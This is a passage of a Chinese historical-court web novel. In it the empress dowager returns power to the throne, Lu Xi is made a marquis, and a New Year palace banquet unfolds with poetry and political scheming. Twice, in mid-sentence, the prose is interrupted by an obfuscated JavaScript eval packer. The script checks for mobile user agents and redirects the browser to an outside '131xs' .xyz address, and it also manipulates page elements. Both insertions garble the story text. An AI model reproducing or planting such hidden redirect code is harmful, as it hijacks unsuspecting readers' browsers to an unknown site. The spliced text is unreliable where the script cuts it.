“如今陛下年幼,好比棋局中心无眼。”林佩道,“无眼也可以活棋,就像京中局势正渐渐达成双活,但倘若此时太后再不退,就会成为占住中间公气的子,必将遭到反噬。” 温迎道:“大人觉得太后会有这般见识吗?” 林佩道:“她其实不是权欲熏心之人,只要君权稳固,再生气也不过摆一摆样子,最终是会退让的。” 温迎道:“所以大人适才说,陆相能劝动太后,就……就像太后年初让大人拟写任用陆相的敕书,是因为她知道大人自会摆平方尚书,其实是一个道理。” 林佩笑了笑:“你的棋艺果然有进步。” 中枢稳定之后,方能振兴百业。 林佩放着中间棋形不动,旁边摆题,对温迎讲起他们未来要做的三件大事。 其一是调整赋税制度,对征收办法去繁留简,扼制土地兼并。 其二是完善科举文选,编撰大典,推广天文、水利、农学、盐政、军械等切关实用学问研究。 其三是重修大阜律,参酌时情,增删条目,因俗制宜,使能适应当前形势。 * 是夜,慈宁宫的灯火直到子时还亮着。 董嫣听说情由之后只觉胸闷气短,把那根绳子上的两样东西全押在自己屋内,传陆洗进宫问话。 陆洗早就在宫门外等候,一看见太监提宫灯出来,立即随其入宫。 宫外地面结着薄霜。 窗户透出一个女人正坐着梳发的影子。 小太监出来道:“太后问——右相来得这样快,是等不及要封侯吗?” 陆洗道:“太后深夜召臣入宫,一定是急事,所以臣连公服都没换就来了。” 小太监传话道:“不知礼数。” 陆洗闻言直接跪下,冲屋内喊道:“太后,今日之事并非臣不阻拦,实则宗人府与各大世族都已通过气,臣若压着这道奏本,一人挨千夫所指本没有什么,怕的是连累太后的名声。” 小太监回屋。 陆洗一人继续跪在北风中。 太平缸中的水渐渐冻结成冰。 宫人时不时地来打碎冰块,铁杵搅动之下,冰面碎裂的声音清晰可闻。 陆洗被冻得浑身僵硬。 要倒下的时候,他被一人扶住胳膊。 “右相请随咱家进去。”阮祎道,“太后已消气。” 陆洗道:“多谢……阮公公。” 虚弱得几乎只有气声。 走进殿中,沉香迎面扑来。 青花瓷瓶中插着正红的腊梅花枝。 一面黑漆彩绘屏风隔开正堂和寝室。 屏心外面绘百鸟朝凤,可见一凰一凤栖于梧桐树上,四周百鸟围绕、奇花异木、树石流水;屏心内面绘人物故事,雕山水、城池、骑猎、营寨等,四周以菱纹开光圈边,刻螭虎灵芝。 董嫣在里面道:“连日来风平浪静的,我就觉得奇怪,怎么连方时镜都不劝谏宫中节省用度了,原来是在这儿等着呢。” 陆洗在外道:“臣失察,臣有罪。” 董嫣从镜子中看着屏风外的人影:“说到底这是我与林相之间的恩怨,不该迁怒于你,可你毕竟身在局中,如何能只顾自己前程,眼睁睁看他们这样欺负我们孤儿寡母!” 陆洗膝间的横襕尚印着水痕,态度仍不卑不亢:“太后是想让臣掣肘林佩,还是替代林佩?” 董嫣一笑,抬起眼道:“凭你,你拿什么替代他?” 陆洗道:“是,臣亦自知无法替代,但如果太后只是想养一条狗去掣肘林佩,把右相之位当儿戏换来换去,必定被后世耻笑。” 董嫣道:“轮不到你来教本宫做事,本宫喜欢用谁便用谁,不喜欢便不用。” 陆洗道:“太后,阜国需要臣,不是因为臣能替代林佩,而是因为阜国不能只有林佩。” 当陆洗抛开个人恩怨提到阜国不能只有林佩的时候,董嫣转过了身,想听下去。 玉梳捋过长发,垂落青丝如瀑。 董嫣十五入宫,二十诞下龙嗣,时至今日不过三十三岁,容颜还未老去。 她看着铜镜之中朦胧模糊的自己,忽然觉得没有那么可憎,也还有一丝温柔贤惠。 大抵刚入宫那段日子是平淡幸福的,她自知出身低微,不争位份,也就没什么焦虑,变故却发生在她刚满月的儿子被皇后从身边抱走,沦为与另一位贵妃齐氏争宠的棋子…… 那时起,她的人生变成了一场为了生存的战斗。 她势力单薄,不得不像一颗藤蔓一样依附在皇后身上,但她的骨子里仍有一股寒门的倔强,不能甘愿任人摆布。 她一步步在朝中培植势力,让自家人当上工部尚书、平北都司指挥使等要职,一边怂恿皇后与齐氏争权夺势,一边冷眼看步入晚年的先帝变得昏庸且喜怒无常。 永熙二十三年初,先帝废黜太子,皇后抑郁而终,另一方面齐氏亲族也因越格笼络朝臣而失去圣心,董嫣揣度圣意,于上元之夜在裕园放火制造假案嫁祸齐氏,一举赢下夺嫡之争。 董嫣不懂前朝之政,然而她懂男人,尤其懂如何利用男人拨弄风云。 她从先帝口中得知林佩乃大贤大能之人,于是她知道当朝首辅必须是林佩,可她实在不想在金陵这座囚笼中度过后半生,所以她需要通过另外一个人开创新局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749284|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。 “你且说说。”董嫣道,“若说不出所以然,别仗着功劳以为本宫不敢换你。” “林佩这个人什么都好,只有一点——太恋旧。”陆洗道,“他不是无应变之能,而是骨子里不愿意变,他总忘不了永熙之初的那段盛世光景,觉得什么都应该恢复从前,然而阜国积弱多年,要图强不能只内修政理,必须打破过去,有所进取。” 董嫣深吸口气,接过玉梳,让宫人退下。 “封侯的诏书不是臣拟的,不知其中如何描述臣的功绩,或许世人看到的只是万国来朝,但臣看到的是朝廷每年因开放关市能多出上百万的收入。”陆洗道,“这还仅仅只是开始,如果给臣三年时间,国库盈收至少会比现在多三倍,收复北方失地也不再是空谈。” 陆洗给董嫣讲了三件他将来要做的事。 其一,发展手工业和商业,健全官私合营制,鼓励民间合作生产。 其二,设立宝钞提举司,以银为本印制大阜通行宝钞,提高交易便捷性。 其三,晋北、平北、辽北三省训练新军,驻军屯田,充盈武库,升北平为北京,北伐失地。 从黑夜到天明,殿外日月星辰悄然移位。 董嫣听陆洗就那么头头是道地讲着,想起董颢向她推举陆洗时说,这个人虽然不是翰林出身,难得对天下大势有敏锐的洞察,更难得的是勤学务实、灵活机变、人脉亨通,不说全天下,至少在她的身边是找不出第二个来。 董嫣再度被陆洗打动。 她启用陆洗本是一次无心插柳,但留用陆洗是因为在其身上看到了足以和林佩匹敌的力量。 随着前朝之政趋于稳定,她知道自己的摄政之权迟早是要交的,与其拖延下去遭受非议,还真不如借此时机归政于朝,退居幕后。 玉梳被缓缓放下。 “是故,臣认为……”陆洗说到这里,嗓子已经哑得快发不出声,“太后应该给臣这个机会。” 他摆出臣服的姿态,目光中却闪过一丝如冰晶刺出水面的侵略性。 * 天明,窗外透着紫红的颜色。 林佩睁开眼,看见棋局仍旧摆在榻几上,腹部盖着一条毯子,依稀记起昨晚让温迎回去之后,本是想要自弈几局,却不小心睡过去了。 距离开衙还有大半时辰,阁中空无一人。 林佩走到外面。 雪被扫到石板路两边。 一个斜长的影子出现在朱墙的尽头。 “余青……”林佩立即去接,步子越来越快。 二人在神乐观的古树之下相见。 陆洗像被风吹了很久,整个人都有些僵硬,额前散落的发丝被霜打湿,衣袍也随处是湿痕,膝间那一道横襕尤其明显,刺绣似乎还有些磨损的痕迹。 林佩一把扶住陆洗,顾不得四周有没有眼睛,生怕再晚些这个人就要碎掉。 “对不起啊。”陆洗笑了笑,抬起头,“我说了你一宿的坏话。” 林佩道:“怎么哑成这样?” 陆洗道:“啧。” 林佩道:“明白,明白,换我连说三个时辰的话也好不到哪里去。” 陆洗点头。 卯时四刻,神乐观的钟声传来,枝头飞鸟。 “其实这句对不起该由我来说。”林佩踮起脚,摘下那顶被霜雪浸湿的官帽,拿出丝帕为陆洗擦拭面颊和发髻,“我相信你能处理好,却无法想象你的辛苦。” 陆洗道:“叫我侯爷。” 林佩顿了顿,凝眸道:“恭喜定北侯。” “正旦大朝太后将发懿旨,改年号为兴和。”陆洗抓住他的手,附在耳边说,“从此她卸任息肩,将前朝之政交于你我。” 林佩长舒口气,心中石头落地。 飞鸟摇动树枝,打落水滴。 林佩感到颈间一点清凉,侧过脸,正对上陆洗含情的目光。 “知言啊。”陆洗翻转手心,拉住林佩的腕,迎暖阳而行,“百步的路,何必走得那么快那么急呢,我情愿与你这样慢慢的,把这一百步分成一千步、一万步走。” 28. 正旦宫宴(上) 正旦,京城沐浴在春和景明的气氛之中。 大小官员在家中过完除夕,卯时携内眷进宫贺岁。 千步廊冠盖如云,金吾卫锃亮的盔甲与公卿华美的朝服相衬,如一条川流不息的金玉河流。 林佩站在百官之首,款款与宗亲公侯寒暄。 似正旦、冬至和万寿圣节这样盛大的节日宴会,不以议论朝政为主,主要是报平安、封赏功臣、宣布大赦,世家大族往往借着时机攀谈儿女亲事。 林佩对此不很热衷,面上微笑,身体诚实地往人少的地方躲。 他的兄长林佰领世券承袭公爵,膝下三儿两女,深受族人敬重,对比之下,他既没有开枝散叶,也很少到母亲膝前尽孝,所以林佰见他只是淡淡点头,没几句话。 随着岁月流逝,林佩的兄弟、同僚乃至下属如今都已是儿孙膝前绕,只剩下他形单影只。 生平第一次,林佩希望陆洗早点儿来。 陆洗的轿子并未在洪武门停下,而是挤于人流之中缓缓挪动,穿过五府六部,一直到承天门前才落地。 不少官员殷勤相迎,问候新年好。 陆洗乃是京中新贵,人一到,立即替林佩分走了一部分“负担”。 郑国公姚氏的门人送簪花来,问陆洗宫宴之后可有兴致与公府小娘子见个面。 陆洗没接,从自己袖中拿出一朵茶花插进头冠,大步往前走。 姚氏门人连忙跟去:“陆相,听闻你正主张官私合营,郑国公执掌江南织造,咱们两家若联姻,将是珠联璧合啊。” 陆洗转过身,指了指头:“请转告郑国公,陆某人这顶乌纱已经簪过花,见谅。” 鼓声雷动,朱红宫门缓缓开启。 众人眼前豁然开朗,只见一座巍峨宫殿坐落正北方,雕梁画栋,尽显气派。 陆洗走到林佩身边。 林佩清了一下嗓子:“陆大人打算戴着这朵花上朝吗?” 陆洗道:“呀,忘了。” 林佩道:“标新立异。” 陆洗道:“你帮我摘,我够不着。” 林佩担心的是不合礼制,往前多走两步,探手迅速把花给摘了。 陆洗笑道:“老枝丛梗叶,殷色好采撷。” 林佩怔了一下,气得想笑,又碍于皇宫禁地不能随地丢东西,只好把花收起来。 乌泱泱几百号人穿过承天门。 按照流程,宗室、公侯、三品及以上官员先到华盖殿参拜皇帝,进行小规模的朝会,随后皇帝驾临奉天殿受百官朝贺,内眷则到谨身殿觐见太后,午时双殿赐宴游园,直至申时结束。 * 华盖殿内烛火通明。 太常乐工在大殿两侧唱起歌颂圣母恩德的雅乐凯风。 ——“睍睆黄鸟,载好其音。有子七人,莫慰母心。” 朱昱修昨晚被董嫣告知这将是母子共同听政的最后一场朝会。 他看着站在阶前的臣子,心中有些怨气,不停拨弄鸠车的轱辘。 因从年幼起就被别人抚养,朱昱修对董嫣其实没有太深的依赖,更多是在童年那段压抑的时光里,为数不多的几次见面让他觉得董嫣是世上唯一会顾及自己感受、真心对自己好的人。 “茅太傅今早还说皇帝的字练得很好,说明是长大了,拿笔有劲儿了。”董嫣笑了笑,小声安抚道,“这只鸠车不仅是皇帝的玩具,说不定将来,皇帝还能让工匠把它造出来呢。” 凤冠华美而沉重,董嫣的神情却浮现出一丝解脱之后的轻松。 “母后,朕明白你的苦心。”朱昱修抬起头,笑了一下,“等朕把车造出来,第一个让你坐。” 董嫣闻言,热泪盈眶。 于她而言,今日能听到这样一句话就够了。 午门外传来第二阵鼓声。 林佩拿着贺表代百官出列,宣读道:“中书左丞相臣林佩,兹遇正旦,三阳开泰,万物成新,恭帷皇帝陛下,奉天永昌。” 朱昱修道:“履端之庆,与卿等同之,自今年起,更年号为兴和。” 臣子双手举起笏板,山呼万岁。 万岁呼完,殿中忽然陷入一阵寂静。 林佩站在原地,似在等待着什么。 朱敬清了一下嗓子。 董嫣会意,端正坐姿,眼神眺向远方:“先贤言,天子有事亲之道,无为臣之礼,若奉亲于内而行家人礼可也,于朝则亏君体,损主威,不可为后世法。皇帝年已十二,有贤臣良将辅佐,得宗亲公侯扶助,前朝之政无忧矣,本宫决意自今日起还政于朝,退居后宫,颐养天年。” 之后就是一出心照不宣的戏码。 朱昱修当即长跪恳辞。 董嫣拒绝。 陆洗以时事多艰,万几繁钜,恳请皇太后从缓归政。 董嫣拒绝。 董颢朗声道:“臣吁请皇太后体念时艰,继续训政,即便要归政,也应该等陛下弱冠。” 董嫣道:“听政之举实在是处于万不得已,如今欣见皇帝典学有成,此意已决,勿复议。” 林佩与朱敬等人一言不发。 玉辇此时已到殿外。 董嫣把朱昱修扶到龙椅上坐好,转身离去。 凤冠珠串宝石的光华映过一双双眼瞳。 ——“太后移驾谨身殿。” 众臣恭送。 朱敬目送董嫣离去,出于尊重,抬手行了一个礼。 殿内的雅乐周而复始。 朝会按既定的议程继续进行。 朱昱修独自一人面对群臣,略显生涩。 他收起鸠车,目光扫过大殿,背出一段话。 ——“今肇岁改元,与天下一新,尔文武群臣,皆乃祖宗所任,以遗朕者,其必有以副朕之望,据诚秉义,以辅予德。君臣相与,同德协恭,康济宇内,用致太平。” 这是新年给文武群臣的敕谕。 林佩道:“臣必夙夜祗敬,励精思理,不敢怠宁。” 陆洗笑道:“臣谨记。” 天色渐亮,长空晴朗无云。 阳光透过窗柩洒下金色。 午门外传来第三阵鼓声。 华盖殿内的宗亲、公侯及奉天殿前数百名官员此时都翘首以盼。 朱昱修欠了欠身,命阮祎颁布诏书。 ——“中书右丞相陆洗接旨。” 陆洗在众人瞩目之下叩首听旨。 【朕承先祖之顾,欲广开土宇,通商远方。陆洗才智出众,善于谋略,去岁随圣躬北巡,扬我国威,授翊运守正文臣特进荣禄大夫,封定北侯,食禄八百石,赐织金蟒袍,钦此。】 林佩听 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太监按官品从高到低一道一道地宣读旨意,把文武百官齐齐赏了一遍,俗称腊赐。 炮仗齐鸣,锣鼓喧天。 皇宫上下欢天喜地。 接近午时,圣躬从华盖殿出发。 一条红毯铺地,四面高歌。 大辂由纯金打造,前雕龙头后雕龙尾,璀璨夺目,由白象牵拉着稳稳当当地驶向奉天殿。 * 宫宴即将开始。 林佩和陆洗在偏殿更换赐服。 镂空的屏风透过光影。 衣料摩擦簌簌作响。 林佩能看到陆洗的身形轮廓。 陆洗也能听到林佩这边收紧衣带的声音。 蟒袍乃是皇家对大臣特殊的恩赐,大襟阔袖,袍长及足,周身以金线刺绣蟒纹,佩玉带。 “知言,其实这不是我第一次穿蟒袍。”陆洗解释道,“接待外国使臣之时我便穿过一次,不过那次是为彰显国人风华,陛下特许我才敢穿,穿完还得归还,不算我的。” 林佩道:“你喜欢你自己穿,何必拉上我。” 陆洗笑了笑:“自己又看不到,不如咱们一起,我穿给你看,你穿给我看。” 林佩道:“我懒得……” 他抬起眼眸,撞见一位头戴七梁冠、英姿勃发、器宇轩昂的美男子朝自己走来。 “就一回。”陆洗平张双臂,笑着道,“你既知道我这人爱慕虚荣,就陪我这一回。” * 两人更衣完毕,正赶上奉天殿赐宴。 宫宴的座位分为上、中、下三等。 殿内摆二十上桌,殿廊摆一百中桌、阶下摆三百下桌,参宴之人的姓名和职位均贴注于席端。 菜品大抵有果子五盘、烧炸五盘、凤鸡、双棒子骨、菜四色、汤三品、马牛羊胙肉饭、酒五盅,也分为上、中、下三等,式样各不同。 庆乐响,舞狮跃动。 朱昱修道:“卿家竭诚尽节,特赐御酒宴席,以示朕之厚爱。” 群臣行礼后入座:“蒙陛下赐宴,臣等不胜荣幸,谨陪圣驾。” 29. 正旦宫宴(下) 琉璃宫灯照着满面红光。 群臣觥筹交错,或是分享朝野趣闻,或是商量儿女亲事,其乐融融。 今年不同以往,董嫣退至谨身殿与内眷命妇同乐,前殿的主位只剩下朱昱修一个人。朱昱修毕竟还小,不知人情世故,只能自己玩,所以御座左右的两件蟒袍便是格外的引人注目。 酒过三巡,到了行令的时候。 笙箫琵琶合奏出欢快的曲调。 宫人撤走大菜,给各桌换按酒四品,摆上成套斗彩鸡缸杯。 太禧白的醇香登时飘散开来。 杜溪亭主动请缨:“陛下,臣提议击鼓传花,臣来做酒纠。” 方时镜叹笑道:“杜尚书年年抢礼部的活儿,方某人懒得跟你争座次,可今年毕竟是兴和元年,你要开此例,还得问问光禄寺答不答应。” 光禄寺卿谦让。 朱昱修道:“好,就由杜尚书击鼓开令。” 杜溪亭道:“谢陛下!” 行酒令这一环节素来是翰林院、礼部和吏部的阵地,当然也有嗜酒之人趁机大喝,不在话下。 杜溪亭走到鼓前,背对众人,举起棒槌。 “恰巧我这里有花。”林佩拿出袖中那一朵藏了半天的山茶,“就从我开始传。” 陆洗转过身,看向坐在他后面的宋轶。 宋轶道:“大人有何吩咐?” 陆洗道:“听说你酒量很好。” 宋轶放下筷子,擦了擦嘴:“大人你放心,我先吃这几口,待会儿替你挡酒。” 陆洗笑道:“没出息的样子。” 咚,咚,咚。 鼓响,场面顿时欢腾。 一点殷色在丝袖之间起伏。 鼓声停时,花落谁家谁就要当场写诗作词,实在作不出来的,也当自罚三杯。 方时镜最守规矩,接花时不躲不闪,递花时不抛不扔,如此欲迎还拒自然中了好几次,可他才思泉涌逸兴云飞,一连好几篇佳作,酒已温凉仍未见其动一口。 贺之夏提前在家中做好了小纸条,此时手里抓着一把松子杏仁,与旁人谈笑自若。 董颢也中了一次,吟哦许久总算作出一首中规中矩的五言,勉强过关。 于染捋着胡须,微笑眯眼,实则一等鼓声响就借故往殿外跑,只为免去罚酒。 尧恩则每年都作差不多的词,只改几个字,被人揪住就笑一笑,也不争辩,大方喝罚酒。 鼓声初如闷雷滚动,而后越来越快,如雨点落荷塘激起圈圈涟漪。 转眼间花又转一圈到陆洗手中。 陆洗正要传递给下家,偏偏就在这时,花蒂断开了。 陆洗:“……” 他连花带瓣统统拢进手中,迅速往对面抛去。 鼓声停。 林佩坐着未动,只是睫毛扇了一下。 花瓣在面前漫天飞落。 哄堂大笑。 杜溪亭回过身,见是林佩和陆洗之间起纠纷,清了清嗓子,故作正经地要判案。 “杜尚书。”陆洗反应极快,没等案子开审就喊起冤,“花已离手,该是他的。” “抛过来的,不算。”林佩把手拢在袖中,“从未见击鼓传花是用抛的。” “怎么不算?”陆洗起身,往前走了两步,“你现在把它捡起来,就算。” 林佩抬起脸,眸中染上几分愠色。 宴席之间笑得更欢,众人各执说辞,争着做判官。 “诸君静听我说。”杜溪亭想了想,义正言辞道,“抛花肯定是不合规矩,但鼓声停时花已在林相的桌上,如此,但看林相愿不愿意捡,不捡还得算陆相的,捡了才是他的。” 林佩仍盯住陆洗不放。 两人之间的交流无声胜有声。 陆洗见林佩这般看自己,渐渐收起眼底的玩世不恭,流露出温柔的情意。 林佩笑了一声,错开目光:“定北侯喝不得酒吧?” 陆洗道:“是,酒量不好。” 林佩道:“也不会写五绝七律吧?” 陆洗道:“是,才情不高。” 林佩道:“那我不捡,你岂不是很难看?” 陆洗深吸口气,笑道:“是啊,已经很下不来台了。” 就在众人都以为陆洗在劫难逃之时,一只手从袖中探出,修长的手指拾起了茶花瓣。 林佩把花瓣拿到面前,吹了口气,拂去酒污。 在场无不惊叹。 倒不是因为林佩饶过了陆洗,而是因为林佩自从进入中书省已近十年没有写过诗词。 “如此说来,我等还得感谢陆相。”杜溪亭笑道,“是陆相请回了碧渊居士。” 宫人端上笔墨。 林佩道:“老杜,出个题。” 杜溪亭道:“唉,能有什么题,得是——正旦春回紫禁中。” 方时镜道:“这个开头本朝不说一百篇也得有几十篇,你别为难林相。” 说话之间,林佩饮尽杯中酒水,提笔落墨。 正旦春回紫禁中, 金池香兽跃云彤。 万方来贺皆欢踊, 一曲高歌报圣躬。 凤管龙笙曲未尽, 红梅开处瑞意浓。 永熙天韵恩殊满, 兴和坤宁芳华琼。 诗作在应制格式之内,不生僻不取巧,像壶中倒出的一段茶水,落入玉杯是正好。 满堂喝彩。 “写得好。”方时镜点了点头,品评道,“好诗。” 在场之人赞不绝口。 “陆某人还是头一回见识碧渊居士的文采。”陆洗行了一礼,“意难忘,意难忘。” “别光嘴上说。”林佩浅笑,“这还有好多花瓣散着,你来捡。” 陆洗应是,一片片捡起剩余的花瓣,按规矩交还给酒纠,才算息事宁人。 行酒令到此告一段路。 * 午时至申时,游园听戏,君臣同乐。 春和园景色秀丽,层次丰富,分布着一座大戏楼、一条流水、五座亭阁和几片假山。 在这一个时辰内,臣子及其内眷的行动较为自由,可以到戏楼听戏,也可以林间散步,各色娱乐活动如作画、抚琴、投壶、射柳应有尽有。 林佩走在石子路上,尽量不打扰别人家儿女相亲,悄声来到假山。 假山的另一头有个人影。 只见这人手里拿着一块石头,缓慢小心地将其放在已有三尺高的石堆上。 石堆没有泥砌,是徒手用石块叠起来的,一处错位便会使上下失去平衡。 叠石之人须得审时度势、精密算计、巧夺时机,方能成功。 这人正是留京听用的从二品官员李良夜。 林佩弯腰从地上捡起一块小石片,放手心掂量着,静看李良夜把石头叠得越来越高。 他自然不会因为一首诗词受到吹捧而忘乎所以,为恢复永熙初年的盛世气象,定下无眼双活的局面之后,他要做的第一件事是调整赋税,第一步便是地方试行。 他参考的是历朝历代的史料,但毕竟没有真正到过地方,所以需要一双替他洞察情形的眼睛。 李良夜就有一双雪亮的眼睛。 林佩想清楚要说的话,走上前去。 李良夜躬身行礼:“林相。” 林佩微笑:“泊桥,你这叠石之术可谓炉火纯青。” 李良夜道:“一点消遣打发时间,让林相见笑了。” 近看,李良夜这半年在京休养,气色比年初好得多,面颊红润,腮部也饱满起来。 林佩道:“如今南北安定,正是百废待兴之际,那边已经向太后许下承诺,着重发展工商,在三年内充盈国库,还主张修葺北方城池,扩建平北府的旧宫。” 李良夜道:“那么林相手上一定有更多事要做。” 林佩点了点头:“恩师临行前的交代,我不敢忘。” 李良夜道:“林相可否与下官透露一二?” 林佩道:“永熙初年,我国赋税尚称严整,自党争开始,大量田地向乡绅、世族手中流动,鱼鳞册、黄册和事实不符的比比皆是,富户良田万顷而不纳税,贫民地少反而还要纳税,广南省尤甚,是故朝廷去岁不得不下狠心拔除十王府,但只能说是开了一个头,还远没有结束。” 李良夜道:“林相真是一下就说到民生失和的症结所在了。” 林佩道:“纵观古今,但凡涉及赋税调整,必要得罪地主,户部于染何其精明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749286|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,指望他执刀是不行的,然而赋税之制一日不修,国运便一日无起色,我权衡再三,决定亲自做这件事。” 李良夜道:“既如此说,下官心中便有主意了。” 林佩道:“你有主意了?” 李良夜接过林佩手里的那枚小石片,左右观察,巧妙地塞进石堆的一处缝隙。 此举不仅没有碰掉旁边的石头,反而起到支撑作用,使整体更加坚固。 “晋北。”李良夜道,“林相,今年是大考之年,下官想去晋北任布政使,再历练一回。” 林佩笑道:“你总是能与我想到一处。” 李良夜道:“晋北是北三省之一,因去岁出资修路开市,今明两年与南方各省应还有一笔贸易债,如果陆相有所企图,下官能迅速探得消息,见苗头不对,也能及时掣肘。” 林佩闻言,不禁叹道:“你的这片心,真如冰壶玉尺。” “下官只是兵卒,林相才是幕后运筹之人。”李良夜道,“兵卒冲阵只要有足够的勇气,而运筹帷幄不仅要统筹兼顾,还要有非凡的定力,非等闲可为之。” 林佩应了一声,背过手,目光越过假山望向远处的戏台。 若是旁人对他说这样的话,他只当阿谀奉承,唯有从李良夜口中说出,于他而言是鞭策。 * 戏台后面,河水之畔。 林倜与几位友人饮酒作乐,不亦乐乎之际,忽见河对岸飞来一片石子。 石子连续蘸水二十余下,打着了这边几片残荷。 残荷摇晃。 一双水鸟游开。 林倜看清对岸的人,连忙跑去相见。 他因官职较低被安排在下桌用宴,此刻宴毕游园才有机会和上桌、中桌的官员交际。 柳林斜对水榭,细枝在风中微动。 “林织使。”陆洗的手里上下抛着一片石子,“你在浙东找我办事之时尚且柳营花市更呼燕子莺儿,怎么一入京就像不认识的了。” 林倜见四下无人,上前行礼:“右相恕罪,咳,下官得避着点儿左相。” 陆洗笑道:“你提请在浙东局增设纺织作坊百间,置大花楼织机百架,美其名曰为朝廷尽忠尽力,但实际想的是趁闲时雇工做海上的生意,多少本多少利,我心如明镜。” “下官……”林倜脚下踩着石块,身子一趔趄。 二人原在永熙十八年运河建成之时就认识。 那时林倜刚到浙东织染局大使任上,因贪玩延误了工期,又逢年底漕运即将关闭,各港口都有大批货物等待运输,即便织染局的货也要排上半个月。 林倜害怕连累家里,四处求人,听闻隔壁松江知府的陆洗很有些能耐,带着一笔好处就去了。 陆洗与他喝完酒,三天内把货装上,七天内过闸口,运到京城时比规定日期还提前两天。 后来林倜才知道,若别人开这个口,陆洗要的好处远比那天收自己的多,只不过看在他是林家子弟的份上才予以方便。 林倜为人也颇有气性,他欠陆洗的这份情最终是自己还掉的,期间从未与家里开过口。 “陆相,不管你知道多少,这事……”林倜扶着柳树思考片刻,定下神道,“……这事反正是我一人之主张,牵扯不到旁人,更与我家里无关。” “别紧张,某分得清。”陆洗笑了笑,侧身挥臂,往河面扔出石片,“早先大湖织染局运转困难还是浙东局借的劳役和税丝呢,某这人没别的,就是讲义气。” 石片如蜻蜓点水而过,飞得比前几次更远。 陆洗道:“只提醒一句,往后工部上下孝敬着点儿,不要特立独行,要和光同尘。” 林倜松了口气,连连点头:“是,下官谨记,多谢陆相提点。” 陆洗道:“事是小事,但既然你都迈出这一步了,有桩更大的生意不知道你有没有兴趣。” 林倜道:“什么生意?” 陆洗走到水边,背过手道:“我要在江南丝行先行官私合营之制,你替我办事。” 戏台正唱南戏,咿呀声传遍河畔。 河畔边可见杆子上挂满五彩斑斓的戏服。 林倜想了想,觉得话已说开,不如挑明顾虑:“右相差遣,下官自然愿意,只不过……” 30. 醋 陆洗道:“只不过什么?” 林倜道:“下官虽然想做这事,怕就怕得罪郑国公,浙东织染局下设三个官局他家掌控两个,江宁织染局他家更是一手遮天,上至染坊和缫练坊,下至桑林养殖,无不有他家的人看着。” 陆洗拍去手上的灰:“这就不用你操心,你该考虑的是将来如何向你二哥坦白。” 林倜闻言,唰的一下脸红了。 “不行不行,何时都不能坦白,这些年我做的事没有一件让他知道的。”林倜摇头道,“你也千万别告诉他,他那人刻板,倘若知道非得摁死不可。” 陆洗笑叹:“纸包不住火,若你主动跟他坦白,顶多挨两句骂,你们打断骨头还连着筋,可若是等他自己发现,我就成了那该杀千刀的小人,解释不清了。” 林倜一愣,脱口而出:“你和他老死不相往来,有什么好解释?” 陆洗的笑容僵了片刻,心有所感。 他总算知道为什么林佩把林倜扔在外地六年不管不顾,原来还是个毛头小子。 但现在他要兴商利工,谋篇布局已有于染的《十策》做指导,落到实处则正需要这毛头小子身上的一股冲劲。 * 申时,钟鼓齐鸣,宫宴接近尾声。 陆洗走在路上,一心想去找那另一件蟒袍,忽又被郑国公府来说亲的门人节外生枝,以鉴赏缂丝画为名让他在长廊与姚家小娘子不期而遇。 姚家小娘子穿着一袭海棠色的裙子,乌云叠鬓,妆容姣好。 陆洗见躲不过,隔着漏窗站下,开口便是一句:“姑娘今年多大?” 小娘子堂堂国公嫡女,本以为对方会与自己交流画艺,却被这话吓了一跳。 陆洗笑一笑,开门见山:“要出阁了,也该知道世情险恶了,姑娘,令尊之所以想让你下嫁陆某,不是陆某有什么过人之处,而是拿你抵府上欠的债。” 小娘子举起团扇遮掩面容。 陆洗的目光落在窗台。 小娘子道:“右相何出此言?” 陆洗道:“姑娘只当听一个故事,早年大湖织染局奉皇命赶制三色锦,令尊为排挤陆某,暗中买通匠人用生丝充熟丝,便是这一手害陆某亏损数万两白银,被宫里问罪,可那时陆某身在地方,人微言轻,岂敢告国公府的状?只能临时去找别人借,四拼八凑的才补交了差。” 小娘子抿了抿唇,没有说话,眼泪开始在眶中打转。 陆洗看不见,也并没有安抚的意思,直言道:“如今陆某有的是手段报当年之仇,所以奉劝姑娘一句,嫁谁都不要嫁陆某,你的嫁妆抵不了你府上欠的债。” 一滴泪珠从小娘子的眸中滚落。 陆洗把话说完就走了,快刀斩乱麻,根本不给姚家人追来打自己的机会。 碰巧林佩和李良夜谈完话回来,正过画廊,便撞见了陆洗与姚家小娘子隔着漏窗说话。 李良夜道:“右相真是左右逢源,不知这又与哪家千金话良缘。” 林佩没有说话。 至此,正旦庆典的所有仪式流程完毕。 这一日没做什么正事,只是庆贺新年、领赏谢恩、应酬交际。 奉天殿前,群臣再次叩拜皇帝,按序退出皇宫。 丝竹雅乐渐渐远去。 承天门往南望,可遥见南淮河上飘浮的雾气。 “诶,诶诶。”陆洗不知道林佩等了多久,还以为刚赶上,“你怎么不等我,我俩一起走。” 两个影子越来越近,终于在宫门前贴在了一起。 陆洗道:“宫里太闹腾,来不及说话,你搭我的车可好?” 林佩道:“不好。” 陆洗笑道:“那我坐你的车一起走。” 林佩道:“你这人怎么没脸没皮的。” 陆洗看着三三两两离去的官员,说道:“朝野上下皆以为我俩不和,今时不同往日,我俩的关系也要变一变,至少做到表面和睦,才不至于叫下头办事的为难,你说可对?” 林佩道:“日久见人心,装不出来。” 林府有两架马车,小马车日常用,大马车上朝用。 上朝用的这架马车按一品官员的规制,外部装饰螭绣青缦,内部也是极宽敞的。 